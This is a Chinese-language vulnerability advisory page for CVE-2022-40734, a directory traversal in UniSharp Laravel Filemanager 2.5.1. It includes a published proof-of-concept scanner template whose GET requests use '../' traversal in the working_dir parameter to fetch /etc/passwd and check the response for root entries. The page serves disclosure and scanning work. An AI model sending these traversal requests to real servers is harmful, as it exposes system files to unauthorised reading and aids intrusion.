CVE-2022-40734: UniSharp aka Laravel Filemanager v2.5.1 - Directory Traversal

日期: 2025-09-01 | 影响软件: UniSharp Laravel Filemanager | POC: 已公开

漏洞描述

UniSharp laravel-filemanager (aka Laravel Filemanager) through 2.5.1 allows download?working_dir=%2F.. directory traversal to read arbitrary files. "Laravel Filemanager"

PoC代码[已公开]

id: CVE-2022-40734

info:
  name: UniSharp aka Laravel Filemanager v2.5.1 - Directory Traversal
  author: arafatansari
  severity: medium
  description: |
    UniSharp laravel-filemanager (aka Laravel Filemanager) through 2.5.1 allows download?working_dir=%2F.. directory traversal to read arbitrary files.
    "Laravel Filemanager"
  reference:
    - https://github.com/UniSharp/laravel-filemanager/issues/1150
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40734

rules:
  r0:
    request:
      method: GET
      path: /download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
  r1:
    request:
      method: GET
      path: /laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0() || r1()

相关漏洞推荐